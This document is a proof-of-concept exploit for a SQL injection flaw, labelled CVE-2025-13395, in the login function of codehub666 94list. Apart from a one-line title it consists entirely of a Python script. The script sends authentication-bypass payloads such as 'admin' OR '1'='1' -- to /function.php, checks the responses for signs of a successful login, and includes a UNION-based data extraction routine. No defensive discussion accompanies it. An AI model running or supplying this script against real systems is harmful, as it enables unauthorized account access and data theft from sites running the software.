CVE-2025-13395: codehub666 94list Login函数SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-13395 SQL Injection PoC for codehub666 94list # Target: /function.php Login function import requests import sys def exploit_sqli(target_url, payload): """ Exploit SQL injection in 94list Login function """ # Login endpoint - adjust based on actual application structure login_url = f"{target_url}/function.php" # Common SQL injection payloads for authentication bypass payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "' OR '1'='1' #", "1' OR '1'='1' --", ] if payload: payloads = [payload] for pay in payloads: # Try to inject SQL in username field data = { 'username': pay, 'password': 'anything', 'action': 'login' # Common action parameter } try: response = requests.post(login_url, data=data, timeout=10) # Check for successful login indicators if response.status_code == 200: # Check response for login success markers if 'success' in response.text.lower() or 'dashboard' in response.text.lower(): print(f"[!] Potential successful injection with payload: {pay}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url): """ Extract database information using UNION-based injection """ # UNION-based injection for data extraction union_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --" login_url = f"{target_url}/function.php" data = { 'username': union_payload, 'password': 'test', 'action': 'login' } try: response = requests.post(login_url, data=data, timeout=10) print(f"[*] UNION injection response length: {len(response.text)}") return response.text except Exception as e: print(f"[-] Error during data extraction: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13395.py <target_url> [payload]") print("Example: python cve-2025-13395.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else None print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-13395 SQL Injection...") exploit_sqli(target, payload)